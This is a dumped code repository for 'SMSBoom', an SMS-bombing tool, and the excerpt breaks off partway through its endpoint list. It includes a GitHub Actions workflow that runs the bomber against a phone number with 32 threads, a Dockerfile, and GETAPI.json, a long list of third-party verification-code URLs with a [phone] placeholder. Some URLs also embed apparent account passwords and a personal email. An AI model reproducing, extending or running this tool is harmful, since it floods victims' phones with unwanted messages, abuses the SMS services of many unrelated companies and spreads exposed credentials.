[
  {
    "path": ".github/workflows/run.yaml",
    "content": "name: 🚀 Run SMSBoom in Action\n\n# 触发 Action 的条件\non: \n  # 定时触发 参考 https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows#schedule\n  # schedule:\n  #     - cron: '30 5 * * 1,3'\n  #     - cron: '30 5 * * 2,4'\n  # 手动触发\n  workflow_dispatch:\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n\n    steps:\n      # 签出项目代码\n      - uses: actions/checkout@v3\n      # 设置 py3.8 环境\n      - name: 🚀 Set up Python 3.x\n        uses: actions/setup-python@v3\n        with:\n          python-version: '3.8'\n      \n      - name: 🚀 Run SMSBoom Script\n        # 此处可以自定义命令行运行参数.替换手机号\n        run: |\n          pip3 install -r requirements.txt\n          python3 smsboom.py run -p ${{ secrets.NUMBER }} -t 32\n"
  },
  {
    "path": ".gitignore",
    "content": "# owner\ngit-filter-repo.py\nreplacements.txt\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\ncover/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\n.pybuilder/\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n#   For a library or package, you might want to ignore these files since the code is\n#   intended to run in multiple environments; otherwise, check them in:\n# .python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# poetry\n#   Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.\n#   This is especially recommended for binary packages to ensure reproducibility, and is more\n#   commonly ignored for libraries.\n#   https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control\n#poetry.lock\n\n# pdm\n#   Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.\n#pdm.lock\n#   pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it\n#   in version control.\n#   https://pdm.fming.dev/#use-with-ide\n.pdm.toml\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# Cython debug symbols\ncython_debug/\n\n# PyCharm\n#  JetBrains specific template is maintained in a separate JetBrains.gitignore that can\n#  be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore\n#  and can be added to the global gitignore or merged into this file.  For a more nuclear\n#  option (not recommended) you can uncomment the following to ignore the entire idea folder.\n.idea/\n\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:3.9-alpine\n\nWORKDIR /src\n\nCOPY . ./\n\nRUN pip install pipenv && pipenv install --deploy --ignore-pipfile\n\nENTRYPOINT [\"pipenv\", \"run\", \"python\", \"smsboom.py\"]\n"
  },
  {
    "path": "GETAPI.json",
    "content": "[\n    \"http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]\",\n    \"http://12345.panzhihua.gov.cn/sms/getSMSCode?mobile=[phone]\",\n    \"http://19.offcn.com/send_message/seccode/?0.8413693207408235&msgpic=user=[phone]\",\n    \"http://211.156.201.12:8088/youzheng//ems/security?phone=[phone]\",\n    \"http://218.57.131.146/cwbase/ep/handlers/RouteHandler.ashx?action=GetPhoneVerCode&PhoneNum=action=GetPhoneVerCode&PhoneNum=[phone]\",\n    \"http://221.179.180.158:9008/HttpQuickProcess/submitMessageAll?OperID=zjawu&OperPass=AqBTaIWp&DesMobile=[phone]\",\n    \"http://a.xcar.com.cn/bbs/dialog.php?daction=register&amp;drequest=check&amp;chash=ZuXty1HoAbfduG8MIMA2O53l&amp;dhash=N7numlHsAbbf5hAGcbc&amp;ehash=ZO%2B6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC%2B%2FCA&amp;phone=[phone]\",\n    \"http://a.xcar.com.cn/bbs/dialog.php?daction=register&amp;drequest=check&amp;chash=ZuXty1HoAbfduG8MIMA2O53l&amp;dhash=N7numlHsAbbf5hAGcbc&amp;ehash=ZO+6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC+/CA&amp;phone=[phone]\",\n    \"http://a.xcar.com.cn/bbs/dialog.php?daction=register&drequest=check&chash=ZuXty1HoAbfduG8MIMA2O53l&dhash=N7numlHsAbbf5hAGcbc&ehash=ZO%2B6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC%2B%2FCA&phone=[phone]\",\n    \"http://a.xcar.com.cn/bbs/dialog.php?daction=register&drequest=check&chash=ZuXty1HoAbfduG8MIMA2O53l&dhash=N7numlHsAbbf5hAGcbc&ehash=ZO+6mFrpB77Uv24KcMJmPpi0oTCxsaUtNQa9KWIYNzYJ3WVcKC+/CA&phone=[phone]\",\n    \"http://account.bababus.com/wap/sendDynamicVerifyCode.htm?mobilePhone=[phone]\",\n    \"http://account.ilongyuan.com.cn/index.php?s=/home/user/verify.html&random=0.8012450194754068&client_id=&verify=[phone]\",\n    \"http://activity.renren.com/livecell/ajax/tryVerify?sanbox=a&amp;phoneNum=[phone]\",\n    \"http://activity.renren.com:80/livecell/ajax/tryVerify?sanbox=a&amp;phoneNum=[phone]\",\n    \"http://admin.bolemeng.com/index.php/api/Common/sms?callback=jQuery21102979887340557068_1582428078445&amp;phone=[phone]&amp;type=register&amp;_=1582428078447\",\n    \"http://admin.bolemeng.com/index.php/api/Common/sms?callback=jQuery21102979887340557068_1582428078445&phone=[phone]\",\n    \"http://admin.bongv.com/Home/Modify/sendSmsCode_New.shtml?mp=[phone]\",\n    \"http://api-v1.ezpaychain.com/invoice/v1/user/send-sms?calling_codes=%2B86&amp;phone_number=[phone]&amp;type=activation&amp;version=1\",\n    \"http://api-v1.ezpaychain.com/invoice/v1/user/send-sms?calling_codes=+86&amp;phone_number=[phone]&amp;type=activation&amp;version=1\",\n    \"http://api.bangtuike.com.cn/api/v1/account/captcha?phone=[phone]\",\n    \"http://api.bangtuike.com.cn/api/v1/account/captcha?phone=[phone]&amp;country=%2B86\",\n    \"http://api.bangtuike.com.cn/api/v1/account/captcha?phone=[phone]&country=%2B86\",\n    \"http://api.duo17.com/sendsms.do?os_type=android&amp;app_version=2.4.0.0&amp;device_id=860903034476097&amp;pnum=[phone]\",\n    \"http://api.duo17.com/sendsms.do?os_type=android&app_version=2.4.0.0&device_id=860903034476097&pnum=[phone]\",\n    \"http://api.fine3q.com/link-site/api/user/get_verification_code.json?ts=1561901787148&amp;c_id=1&amp;p=a&amp;d_id=861913032338784&amp;ver=3.1.5&amp;mobile=[phone]\",\n    \"http://api.fine3q.com/link-site/api/user/get_verification_code.json?ts=1561901787148&c_id=1&p=a&d_id=861913032338784&ver=3.1.5&mobile=[phone]\",\n    \"http://api.gaotu100.com/user/v2/send_passcode?captcha_mode=NETEASE&amp;type=3&amp;mobile=[phone]&amp;code_type=0\",\n    \"http://api.gaotu100.com/user/v2/send_passcode?captcha_mode=NETEASE&type=3&mobile=[phone]&code_type=0\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&amp;country=%2B86&amp;mobile=[phone]\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&amp;country=+86&amp;mobile=[phone]\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&country=%2B86&mobile=[phone]\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?_ts=1564136775711&country=+86&mobile=[phone]\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=%2B86&amp;mobile=[phone]\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=%2B86&mobile=[phone]\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=+86&amp;mobile=[phone]\",\n    \"http://api.hanju.koudaibaobao.com/api/user/verifyMobile?country=+86&mobile=[phone]\",\n    \"http://api.hhyp58.com/basis/sendCheckCode?mobile=[phone]\",\n    \"http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&amp;cur_user_id=-1&amp;device=iPhone 6S&amp;device_brand=Apple&amp;device_model=iPhone&amp;os_version=12.4&amp;phone=[phone]&amp;platform=iOS&amp;token=&amp;userId=-1&amp;version_code=110\",\n    \"http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&amp;cur_user_id=-1&amp;device=iPhone%206S&amp;device_brand=Apple&amp;device_model=iPhone&amp;os_version=12.4&amp;phone=[phone]&amp;platform=iOS&amp;token=&amp;userId=-1&amp;version_code=110\",\n    \"http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&cur_user_id=-1&device=iPhone%206S&device_brand=Apple&device_model=iPhone&os_version=12.4&phone=[phone]\",\n    \"http://api.hsj.huanci.net/index.php/api/user/isPhoneRegister?appVer=1.1.0&cur_user_id=-1&device=iPhone6S&device_brand=Apple&device_model=iPhone&os_version=12.4&phone=[phone]\",\n    \"http://api.huatu.com/lumenapi/v4/common/message/send_by_java?callback=callbackSendCode&amp;mobile=[phone]&amp;_=1547130695671\",\n    \"http://api.huatu.com/lumenapi/v4/common/message/send_by_java?callback=callbackSendCode&mobile=[phone]\",\n    \"http://api.juewei.com//api/Verify/sendSms?_=[phone]\",\n    \"http://api.jzhrj.cn/api/User/SendRegCode?mobile=[phone]\",\n    \"http://api.jzhrj.cn/api/User/SendRegCode?mobile=[phone]&amp;signature=b9ca097bdb7678ffe631d0aecb2615e16b4986f4&amp;timestamp=1558168022&amp;nonce=573&amp;appid=CalendarGPRJ\",\n    \"http://api.luobokoudai.com/User/GetCodeByPhone?ip=124.228.103.38&amp;source=1&amp;channel=yingyonbao&amp;key=f996ee442307b7c6ccfcfc68bcf77682&amp;user_phone=[phone]\",\n    \"http://api.midukanshu.com/auth/mobileVerify?mobile=[phone]\",\n    \"http://api.moonreader.cn/mreader/common/sendMobile.do?mobile=[phone]\",\n    \"http://api.moonreader.cn:80/mreader/common/sendMobile.do?mobile=[phone]\",\n    \"http://api.nfapp.southcn.com/nanfang_if/getVerifiCode?phoneNo=[phone]\",\n    \"http://api.passport.pptv.com/checkImageCodeAndSendMsg?&amp;scene=REG_PPTV_APP&amp;deviceId=867830021000533&amp;aliasName=[phone]\",\n    \"http://api.passport.pptv.com/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName=[phone]\",\n    \"http://api.passport.pptv.com/snsms/sendcode?cb=msSendCode&amp;phoneNumber=[phone]&amp;deviceId=p_1584518586025_48072460278550296&amp;terminal=PC&amp;channel=208000103005&amp;uuid=0e2a64ae-e07e-49d6-852e-3de883df8003&amp;imgCode=&amp;format=jsonp&amp;_=1584518959802\",\n    \"http://api.passport.pptv.com/snsms/sendcode?cb=msSendCode&phoneNumber=[phone]\",\n    \"http://api.passport.pptv.com/snsms/sendcode?cb=msSendCode&phoneNumber=[phone]&deviceId=p_1584518586025_48072460278550296&terminal=PC&channel=208000103005&uuid=0e2a64ae-e07e-49d6-852e-3de883df8003&imgCode=&format=jsonp&_=1584518959802\",\n    \"http://api.passport.pptv.com:80/checkImageCodeAndSendMsg?&amp;scene=REG_PPTV_APP&amp;deviceId=867830021000533&amp;aliasName=[phone]\",\n    \"http://api.passport.pptv.com:80/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName=[phone]\",\n    \"http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&amp;phone=%2B86[phone]&amp;token=YzllOTI2NGEtYzRkYi0xMWU5LTgxY2ItMDAxNjNlMDM2OTg5&amp;platform=life_ios&amp;udid=966d9749eb41b1f81489cabc0bc05c35a1f97032&amp;v=2.6.12&amp;vc=6\",\n    \"http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&amp;phone=+86[phone]&amp;token=YzllOTI2NGEtYzRkYi0xMWU5LTgxY2ItMDAxNjNlMDM2OTg5&amp;platform=life_ios&amp;udid=966d9749eb41b1f81489cabc0bc05c35a1f97032&amp;v=2.6.12&amp;vc=6\",\n    \"http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&amp;phone=[phone]\",\n    \"http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=%2B86[phone]\",\n    \"http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=+86[phone]\",\n    \"http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone=[phone]\",\n    \"http://api.qingmang.me/v1/account.sendVerification?platform=console&amp;token=&amp;phone=%2B86[phone]&amp;code=10164337\",\n    \"http://api.qingmang.me/v1/account.sendVerification?platform=console&token=&phone=%2B86[phone]&code=10164337\",\n    \"http://api.qingmang.me/v1/account.sendVerification?token=&amp;phone=%2B86[phone]&amp;code=70428334\",\n    \"http://api.qingmang.me/v1/account.sendVerification?token=&phone=%2B86[phone]&code=70428334\",\n    \"http://api.sms.cn/sms/?ac=send&uid=sun98&pwd=5a509d25c595fcec2561652992f1915b&template=542423&mobile=[phone]\",\n    \"http://api.sms.cn/sms/?ac=send&uid=sun98&pwd=5a509d25c595fcec2561652992f1915b&template=542423&mobile=[phone]&content={%22code%22:%22HQ98B%22}\",\n    \"http://api.sssc.cn/seccode/reg?callback=&amp;m=[phone]\",\n    \"http://api.v2.msparis.com/common/mobile?channel=App Store-vest&amp;clientId=msparis-ios-4.2.4-vest&amp;mobile=[phone]&amp;platform=ios-vest&amp;rent_mode=2\",\n    \"http://api.v2.msparis.com/common/mobile?channel=App%20Store-vest&amp;clientId=msparis-ios-4.2.4-vest&amp;mobile=[phone]&amp;platform=ios-vest&amp;rent_mode=2\",\n    \"http://api.v2.msparis.com/common/mobile?channel=App%20Store-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]\",\n    \"http://api.v2.msparis.com/common/mobile?channel=App%20Store-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]&platform=ios-vest&rent_mode=2\",\n    \"http://api.v2.msparis.com/common/mobile?channel=AppStore-vest&clientId=msparis-ios-4.2.4-vest&mobile=[phone]\",\n    \"http://api.wangxiao.cn/app/user.ashx?mobile=[phone]\",\n    \"http://api.wangxiao.cn/app/user.ashx?mobile=[phone]&amp;t=mobilelogincode\",\n    \"http://api.wangxiao.cn:80/app/user.ashx?mobile=[phone]\",\n    \"http://api.wangxiao.cn:80/app/user.ashx?mobile=[phone]&amp;t=mobilelogincode\",\n    \"http://api.xingchentd.com/logic-user/user:users/mobile/?mobile=[phone]&amp;projection=withRoles\",\n    \"http://api.xtgyl.cn/index.php/api_v1/api.app.login/sendCaptcha?mobile=[phone]\",\n    \"http://api.yinka.co/common/sms?cellphone=[phone]\",\n    \"http://api.yuyin-tv.com/v1/account/verifycode/register?phone=[phone]\",\n    \"http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&AppVersion=6357251&PhoneNO=[phone]\",\n    \"http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&PhoneNO=[phone]\",\n    \"http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&amp;AppVersion=6357251&amp;PhoneNO=[phone]\",\n    \"http://api2.cloudlinks.cn:80/Users/PhoneCheckCode.ashx?CountryCode=86&amp;PhoneNO=[phone]&amp;AppVersion=6357251\",\n    \"http://app.bczp.cn/pk/GetCode.ashx?mobile=[phone]\",\n    \"http://app.ftutj.cn/web/api.php?s=/Join/verify/?0.24206258677631287&picCode=[phone]\",\n    \"http://app.jiayouxueba.cn/api/v3/sms/getcode?mobile=[phone]\",\n    \"http://app.quanlaoda.com/app.php?&amp;m=code&amp;a=send_login_code&amp;phone=[phone]\",\n    \"http://app.quanlaoda.com/app.php?&m=code&a=send_login_code&phone=[phone]\",\n    \"http://app.syxwnet.com/?app=member&amp;controller=index&amp;action=sendMobileMessage&amp;mobile=[phone]\",\n    \"http://app.syxwnet.com/?app=member&amp;controller=index&amp;action=validate&amp;do=mobile&amp;mobile=[phone]\",\n    \"http://app.syxwnet.com/?app=member&controller=index&action=sendMobileMessage&mobile=[phone]\",\n    \"http://app.syxwnet.com/?app=member&controller=index&action=validate&do=mobile&mobile=[phone]\",\n    \"http://app.zangcun.com/registerCode?mobile=[phone]\",\n    \"http://appsever.caissa.com.cn/api/token/user/verifyAndgetCaptcha?data=%7B%22phone%22%3A%22[phone]\",\n    \"http://appsever.caissa.com.cn/api/token/user/verifyAndgetCaptcha?data=%7B%22phone%22%3A%22[phone]%22%2C%22type%22%3A%223%22%2C%22userId%22%3A%22%22%7D&amp;head=%7B%22account%22%3A%22android01%22%2C%22channel%22%3A%22C0001%22%2C%22channelSecond%22%3A%22CS0001%22%2C%22pa\",\n    \"http://appsever.caissa.com.cn/api/token/user/verifyAndgetCaptcha?data={'phone':'[phone]\",\n    \"http://appsfunc.e-giordano.com/SVC/AppsFunc.svc/rest/CheckUserName?username=[phone]\",\n    \"http://b2c.csair.com/portal/smsMessage/EUserVerifyCode?mobile=[phone]\",\n    \"http://baiwai100.com/exam/regcheckSms.yj?telphone=[phone]\",\n    \"http://bank.wo.cn/hand/getRandCode?phone=[phone]&amp;flag=3\",\n    \"http://bank.wo.cn/wxun/api/my/getSmsCode?mobile=[phone]\",\n    \"http://bdp.haoyisheng.com/bdp/checkCode/getChkCode?timestamp=1600272327075mobileNum=[phone]\",\n    \"http://biz.sandnes.cn/msgapi.php?phone=[phone]\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&amp;publishid=1003&amp;deviceId=8812baafc8de4fe4&amp;vt=5&amp;screen=720x1280&amp;deviceid=&amp;os=android&amp;proid=qknode&amp;av=MMB29M&amp;appVersion=1.6.1&amp;imei=&amp;ov=6.0.1&amp;osVersion=6.0.1&amp;deviceVersion=Redmi 4A&amp;osLevel=23&amp;phone=[phone]\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&amp;publishid=1003&amp;deviceId=8812baafc8de4fe4&amp;vt=5&amp;screen=720x1280&amp;deviceid=&amp;os=android&amp;proid=qknode&amp;av=MMB29M&amp;appVersion=1.6.1&amp;imei=&amp;ov=6.0.1&amp;osVersion=6.0.1&amp;deviceVersion=Redmi 4A&amp;osLevel=23&amp;phone=[phone]&amp;token=\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&amp;publishid=1003&amp;deviceId=8812baafc8de4fe4&amp;vt=5&amp;screen=720x1280&amp;deviceid=&amp;os=android&amp;proid=qknode&amp;av=MMB29M&amp;appVersion=1.6.1&amp;imei=&amp;ov=6.0.1&amp;osVersion=6.0.1&amp;deviceVersion=Redmi%204A&amp;osLevel=23&amp;phone=[phone]\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&amp;publishid=1003&amp;deviceId=8812baafc8de4fe4&amp;vt=5&amp;screen=720x1280&amp;deviceid=&amp;os=android&amp;proid=qknode&amp;av=MMB29M&amp;appVersion=1.6.1&amp;imei=&amp;ov=6.0.1&amp;osVersion=6.0.1&amp;deviceVersion=Redmi%204A&amp;osLevel=23&amp;phone=[phone]&amp;token=\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi%204A&osLevel=23&phone=[phone]\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?df=android&publishid=1003&deviceId=8812baafc8de4fe4&vt=5&screen=720x1280&deviceid=&os=android&proid=qknode&av=MMB29M&appVersion=1.6.1&imei=&ov=6.0.1&osVersion=6.0.1&deviceVersion=Redmi4A&osLevel=23&phone=[phone]\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?publishid=1003&amp;deviceId=2808ec7ef7fbeed6&amp;df=android&amp;vt=5&amp;screen=1080x1920&amp;deviceid=2808ec7ef7fbeed6&amp;proid=qknode&amp;os=android&amp;av=NMF26X&amp;appVersion=1.4.0&amp;imei=&amp;ov=7.1.1&amp;osVersion=7.1.1&amp;osLevel=25&amp;phone=[phone]&amp;token=\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?publishid=1003&amp;deviceId=2808ec7ef7fbeed6&amp;df=android&amp;vt=5&amp;screen=1080x1920&amp;deviceid=2808ec7ef7fbeed6&amp;proid=qknode&amp;os=android&amp;av=NMF26X&amp;appVersion=1.4.0&amp;imei=865499038835144&amp;ov=7.1.1&amp;osVersion=7.1.1&amp;osLevel=25&amp;phone=[phone]\",\n    \"http://bizapi.pezy.cn/qknode/sms/reqSmsCode?publishid=1003&deviceId=2808ec7ef7fbeed6&df=android&vt=5&screen=1080x1920&deviceid=2808ec7ef7fbeed6&proid=qknode&os=android&av=NMF26X&appVersion=1.4.0&imei=&ov=7.1.1&osVersion=7.1.1&osLevel=25&phone=[phone]&token=\",\n    \"http://bj.iguanyu.com/gywebsite/common/sendVerificationCode?phone=[phone]\",\n    \"http://buckle.lvronghui.com/promotion/transfer.php?phone=[phone]\",\n    \"http://care.seewo.com/easicare/account/dynamic/code?userName=[phone]&amp;isLogin=false\",\n    \"http://cash.herjk.com/herjk-server/user/authcode?mobile=[phone]\",\n    \"http://ccyagu.gswanzhong.com/Apicloud/User/sendCaptcha?Mobile=[phone]\",\n    \"http://ccyagu.gswanzhong.com:80/Apicloud/User/sendCaptcha?Mobile=[phone]\",\n    \"http://cd.abiz.com/v3validcode?t=1604046053252&currentFindType=1&pageType=7&pn=abiz&validateCode=currentFindValue=[phone]\",\n    \"http://center.siyi.cn/process.aspx?c=sendvcode&amp;vt=sms&amp;va=reg&amp;mobile=[phone]\",\n    \"http://center.siyi.cn/process.aspx?c=sendvcode&vt=sms&va=reg&mobile=[phone]\",\n    \"http://cms.51fenmi.com/api/base/public/getCode?mobile=[phone]\",\n    \"http://cms.51fenmi.com:80/api/base/public/getCode?mobile=[phone]\",\n    \"http://codingle.cn/api/user/register/tel_verify?tel=[phone]\",\n    \"http://ct.ctrip.com/me/register/Verify?name=%E5%90%B4%E5%A5%87&amp;email=357058116%40qq.com&amp;mobile=[phone]&amp;passwd=xiyu8187\",\n    \"http://ct.ctrip.com/me/register/Verify?name=%E5%90%B4%E5%A5%87&email=357058116%40qq.com&mobile=[phone]&passwd=xiyu8187\",\n    \"http://cuckooshop.cn/SMS?phone=[phone]\",\n    \"http://dafeiyu.cn/sms/boom?mobile=[phone]&amp;config=1&amp;num=2\",\n    \"http://dapi.mting.info/yyting/usercenter/getVerifyCode.action?phoneNum=[phone]\",\n    \"http://dapi.mting.info/yyting/usercenter/getVerifyCode.action?phoneNum=[phone]&amp;type=0&amp;token=&amp;imei=&amp;nwt=1&amp;q=27&amp;sc=\",\n    \"http://dgapi.zczgcn.com/shopSupport?Mobile=[phone]\",\n    \"http://dgapi.zczgcn.com/shopSupport?Mobile=[phone]&amp;BusinessId=15886&amp;systemType=android&amp;appVersion=4.1.01&amp;postTime=2019-07-19+00%3A19%3A14&amp;timeStamp=1563466754286&amp;method=ShopSupport.GetGuiderLoginVerifyCode&amp;format=json&amp;user=u1city&amp;token=a0ea92fa90904b64becaa5b2bb0b8\",\n    \"http://dgapi.zczgcn.com/shopSupport?Mobile=[phone]&amp;BusinessId=15886&amp;systemType=android&amp;appVersion=4.1.01&amp;postTime=2019-07-19+00:19:14&amp;timeStamp=1563466754286&amp;method=ShopSupport.GetGuiderLoginVerifyCode&amp;format=json&amp;user=u1city&amp;token=a0ea92fa90904b64becaa5b2bb0b8\",\n    \"http://dopzuul.dd2007.cn/shangji/officeWebInterface/getYzmByMobile.dd?mobile=[phone]&amp;jsoncallback=jsonpCallback_success&amp;_=1599135066051\",\n    \"http://e.huijimall.com/api/store/rest/v2/zhutest/request_login_smscode?mobile=[phone]\",\n    \"http://edms.fcbox.com/hibox/weixin/getVerifyCode?mobilePhone=[phone]\",\n    \"http://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&amp;type=11&amp;t=biz_rf_portal_mgr&amp;ef=jsnew&amp;resp_charset=UTF8&amp;area=86&amp;mobile=[phone]\",\n    \"http://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]\",\n    \"http://exmail.qq.com:80/cgi-bin/bizmail_portal?action=send_sms&amp;type=11&amp;t=biz_rf_portal_mgr&amp;ef=jsnew&amp;resp_charset=UTF8&amp;area=86&amp;mobile=[phone]\",\n    \"http://exmail.qq.com:80/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]\",\n    \"http://ffp.airchina.com.cn/app/generateSmscode?phoneNum=[phone]&amp;t=0.5165145328970137\",\n    \"http://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&amp;smsType=REGISTER&amp;mobilePhone=[phone]&amp;verkey=MOBILELOGIN\",\n    \"http://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]\",\n    \"http://forum.xitek.com/forum.php?mod=ajax&amp;infloat=register&amp;handlekey=register&amp;action=vcode&amp;inajax=1&amp;fp=4155208328&amp;check=80e5&amp;mobile= [phone]\",\n    \"http://gangqinpu.yusi.tv/?urlparam=cginfo/userinfo/sendsms&amp;phonenum=[phone]&amp;platform=iphone&amp;sendtype=1&amp;version=1.5.6\",\n    \"http://gangqinpu.yusi.tv/?urlparam=cginfo/userinfo/sendsms&phonenum=[phone]\",\n    \"http://gd.10086.cn/easy/product/order/getValidateRndCode.jsps?commCode=LLKC300&amp;merchantCode=GD&amp;mobile=[phone]\",\n    \"http://gd.10086.cn/easy/product/order/getValidateRndCode.jsps?commCode=LLKC300&merchantCode=GD&mobile=[phone]\",\n    \"http://gj.liansuosoft.com/ShopRegister/SendSms?mobile=[phone]\",\n    \"http://gj.liansuosoft.com/ShopRegister/VCode?rand=0.3306040567511852&code=[phone]\",\n    \"http://gk.huixinyt.com/app1dxxy/index.php/Index/getcode1?1=1&amp;mobile=[phone]&amp;_=1551173567907\",\n    \"http://group.leying.com/user/send-login-or-reg-validate-code?.sig=485fcbb8de19a6031a640e4fba81b7d7&amp;cinema_id=23&amp;city_id=502&amp;client_id=3e5da9998f896&amp;graph_validate_code=&amp;group=20008&amp;mobile=[phone]&amp;pver=7.0&amp;session_id=&amp;source=105001&amp;ver=5.5.5\",\n    \"http://group.leying.com/user/send-login-or-reg-validate-code?.sig=485fcbb8de19a6031a640e4fba81b7d7&cinema_id=23&city_id=502&client_id=3e5da9998f896&graph_validate_code=&group=20008&mobile=[phone]\",\n    \"http://gw.dianzhenkeji.com/userc/sms/[phone]/2?tenantId=dxtv\",\n    \"http://gw.dianzuanmao.com/user/getCsbCode?phone=[phone]\",\n    \"http://gw.dianzuanmao.com/user/getCsbCode?phone=[phone]&amp;type=1\",\n    \"http://h5.gmccopen.com/act/sso!sendSms.action?mobile=[phone]\",\n    \"http://hall.m.qxiu.com/mobileuser/user/getphonecode?phone=[phone]\",\n    \"http://hall.m.qxiu.com/mobileuser/user/getphonecode?phone=[phone]&amp;sign=8D0A118A972CD8A303403728659FC0F4FA194447\",\n    \"http://haojue78.com/WS/WSAccount.asmx/SendMobileMsg?mobile=[phone]\",\n    \"http://hbrbapi.hubeidaily.net/amc/client/getAuthCode?mobilephone=[phone]\",\n    \"http://hbrbapi.hubeidaily.net/amc/client/getAuthCode?mobilephone=[phone]&amp;nodeCode=ecdc5307-888e-4322-8817-f04bd81a7e82\",\n    \"http://hdh.10086.cn/common/validationIP?phone=[phone]\",\n    \"http://hdh.10086.cn/pc/dynamic?phoneNumber=[phone]&amp;imageCode=4551&amp;type=login\",\n    \"http://hk-dns.sskweb.cn/api.php?act=user&amp;key=XsWxsZDyh58V9whXWR&amp;phone=[phone]\",\n    \"http://home.ecook.cn/user/code?phone=[phone]\",\n    